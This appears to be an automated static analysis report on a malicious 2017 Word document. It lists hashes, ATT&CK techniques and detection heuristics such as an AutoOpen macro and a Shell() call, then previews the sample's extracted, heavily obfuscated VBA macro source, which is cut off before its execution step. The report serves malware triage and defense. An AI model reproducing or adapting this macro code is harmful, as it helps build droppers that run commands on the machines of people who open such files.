Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 609928bb09b31c47…

MALICIOUS

Office (OLE)

82.5 KB Created: 2017-10-24 14:39:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 31ac1321527347bb7003699b66b19ffd SHA-1: 0dc0fa52feb647f07f58467ed4b027dfb267b866 SHA-256: 609928bb09b31c474faf4eb5563ba84806cffe0e9e25ca4edfc3add6dbcf0433
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, a critical indicator of malicious activity, suggesting it's designed to execute arbitrary commands. This is further supported by ClamAV detecting it as obfuscated malware. The presence of an AutoOpen macro indicates it will execute automatically upon opening.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16577 bytes
SHA-256: 8c05439ab1c751ce9350e1191e2b205315d4c5b48807a5855294d5976c90edd3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 43 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function PCRhDKcnK()
sjTLiVNIth = "TPXB8wHzzlqqDXiKzdpfZaEOoDrcnCZkcIniKVVjbhddLYKhdoWVazaYVblWEfKzLFOvkvzdIFErwbCPtKwzjDJdhONjjwiwXjRFKPwiosNUvibuYVduhLRIvkNViQuKaIUPJzFiNQKnqphzmSKOUkOMPJJZBbzYwDtnOMkbPzhRAdRGCOiPFjpqtIAAojclQmpnwulaijwVOFS9O"
fVOavlf = Mid(sjTLiVNIth, 6, 199)
JzltUiHpNSk = fVOavlf
IwIkIImMjT = "03CJ3uOPiYjCmaREwToqKRVaZVXiJHXRGEUaRStziOClKEwKwEvEiOBhtuNrXjFXBPwiG7R5VIIIXQ9971LT9JG04FC3WA"
fjitEVBtZ = Mid(IwIkIImMjT, 6, 64)
jjrJWAz = fjitEVBtZ
odLdAB = "XHDQNC525UBQFVnkzIMpNjjZzrVQsBGFTuKUwXjPiXcmPiIzIbTitmtzpmzMfBIwlbopdTnabwHpEwKQjWHQiYLjAKiKXUjjOjBntSVpotGzfEvsbicJtrNNPIoSocCHMaaXvWXQAScpROBwPmjpramXSoXliCBMqwkEdXzELMIbPYvBGrDCtNQmnDFHzlmwRPwTdwSroidfRLHusWimwwTdizQaSqFZZKKzZcXKZLNOjlUcvKOcHzzSwVkffrZwYEFHBHUQwUNnlEHBTY24SFFH7ARHV1"
frwrDF = Mid(odLdAB, 15, 256)
jLwIDQYB = frwrDF
HDzGHEFprZL = "N8LICZCDKIqOjAGLFnJbipzNMLXnPJKuViMqDCjGPiadPkUCjjjpXiajDNOcPpwrswsBnPIDDCLEPWwcrUDjZVWrDdmqnHrafikTrSOTYjmUSWThPmkulPRXZBzKdRPvLlZjlikZGjLtjBZhJFaBWzpPRNtqUEqGRqJjwmwkCLnBEXoYbQAXrNYNwJPXluECsEcssskXJpzKJnKtZVOEDSPDRvkmXYzIHlIAuvfjfdOBONEIzVwPfzwZpZa584WCN1CF1T23HBPNAHTWUD"
BqazUcwq = Mid(HDzGHEFprZL, 11, 241)
EQzRH = BqazUcwq
AGqzuDmA = "QF8694OSG1HYDcpIADWsIDbznXQMvzOkIVRkdKPJpURPKUitPHfwQlizGSzfjWPzwLoZLFiqoNDolMnSpWznTQUWmRdLMjdSFTSzfIiKcpJDhuNuffqJYbijrSntbTdFkkjStomhnnKdGQorDjfhtTudpmHNVpiJMESzLvArtIVlRAZaivqrnwLQqGcGjYLwEBRBwrjHjo8JCKJHOM"
zlVKAdkHmr = Mid(AGqzuDmA, 14, 189)
ufnvzZfLHHt = zlVKAdkHmr
KmBlR = "XHcVXYwBuQUNCRijOwhvZPYBifLMIRpSmQMEArqBlwBqrzlnwZnrTYhiFbrsNltcaCblEZiWHfKaNiKitXOjiwwNjiwZAwozFYPpYzjYqQknOHQXQMwpWKwcDNCWaJWIrKVpTVGuoqsNOLzcSbInAwcvamlKwMzjubwDmbDvFEBjRlOsNaEzBiHsiZOjjvzbsLTmOwqqXMiwzvdoXtzWIwfLUDVMMXMJGZnFScdRkNboALumwZPPKDWQQPQ7A63F4SD2JQ2D060O7HV2KQ"
FqfwhZIGiAE = Mid(KmBlR, 3, 240)
ERiUXoV = FqfwhZIGiAE
usrunIP = "03UTX03B2EMMN3QCIuzdoiHbcSaKrDErrihlPqfjMboqwimlMhsanCrNSWwlizJEQYGpjBVOOQRMqRcwfpwKKdDpmUTsttBPSjZaXzFKLiMWlfWAtwFpzwumURCMhdUVPCuGrCaijnzfRhEHzSwvoMPTpnGGusdhKrHikPJrYWFLzOVnMJ1CX9H9LCA4BAV0VI7NU1P"
riEbunFVRq = Mid(usrunIP, 18, 160)
dApYbtBsQqG = riEbunFVRq
QzvlAzbqWj = "72VHTBODijwCtFimSjKIjJATORtpOjBlWMpwOjQzHIbaikBjLDdjNkfZQjsBIYpziNfjQiXmTMAYiapiQKiKFRXmhQjhnOpjSbsQEUSdfrQBjGrprOkwufuQptwABqwEWRFGhZZvrAiNBVCaYrqZirpnhcaLWScptMfSBkHRopGtAjPUqXbKzYaibRZFwNZYYoUpqjZojYkolwnAMGVwrRpUlArkLCTbQhULMadHwnbboltfiYsssahGzADqspcjFJYDbbomcOADUUWF5TKFNT4OWCI7XAH4EIR2"
SBPCiIM = Mid(QzvlAzbqWj, 4, 265)
IjOwWrG = SBPCiIM
tPLHKahUzzb = "KPF4YERLNCzLmrDWnsjSSOCtFMkmjWvAOniKIcHhVhTnvzNIkJothTXZtAfOzwPwHzwwMsOKlBwkuPwIwbCZiC5VEP9V0X33Z57NTCWYIF5"
NCGwBG = Mid(tPLHKahUzzb, 10, 77)
Vvlfiw = NCGwBG
jEsuEvtD = "ACCKIICBXMMYXKXNIpwaTujIRKbdiAAYpXHYWvQjmvWrKIIiPmOWKjGtZKKSpGianbWXiYDNYSoXXozJCtOrmiOJQNwMlwqfMwDjmlDrjAzsriWkMBQwsqoJNMGQZqcabILbkFV"
HkcLvcuPEmD = Mid(jEsuEvtD, 17, 117)
KkLAiK = HkcLvcuPEmD
OiAGMUYTGb = "48ATvQFRHztkYSVjwAPvrvdHfWmidCXQWuqQFiAiHbHNsRYSZjAHjfKdEunYianEZcNdcFaTAjoPoQPNwUFuCQjqkMLLqcEhoCoPDupUIjHCrupoiaaJUsCJvXtPtPdYcHblcAJEilmWIizqWXjQBuMwAiTjAZasDjZjSDMdQWfiGfARXCtWiMWiuilzhcDEKtTZFPXTKDzfPdpUdBJwjEKqMqpnSOwnSaXNMbMHiZLfNrTQpQUfTFXGjdMOajAwGLMoFcICpBTGtiTEAKUMMB2YPUCKIJA57JKSYEG4WG1GHMCHP"
iTJNfHzIaJI = Mid(OiAGMUYTGb, 4, 267)
NPRijuZS = iTJNfHzIaJI
hPGaiUXrBZ = "3SM3pGcWdTlaCNMWaGzdMGRklHCFlRDAplkWTcSIAOUCaTIRuTjKjAwcQlVhDXkLPlkRcqDzopcwlOJSwlLSisUonIFhHkFcdJnpiroDPlWqXzqCcCjSLSdXRviUlVqEkzVcbUkHwHCwVdQnRDFFAmRKfPYmMUSuvSGYiObHScWEPjBnirDiQkDziKwLwzu3PJ034"
GImqvlpZj = Mid(hPGaiUXrBZ, 5, 187)
wJwXMH = GImqvlpZj
CaAwqfsl = "0I5BH3PYhWGSQ"
JMnSlij = Mid(CaAwqfsl, 9, 3)
JDWNV = JMnSlij
dXZhzSH = "Y3DA5AAFHMB6ULNMACE3QIIXPAA5RRqmdapMvOjQUYNkELTjrCmhXEBbzIfkuIODHRRisBFTJitTKwBLijEfUJPYYNPnjzVMJJcmuoqqwTXsLiQADOP95P2"
ltDLCriJtSN = Mid(dXZhzSH, 31, 82)
dKzhaK = ltDLCriJtSN
End Function
Function iHwYSd
... (truncated)

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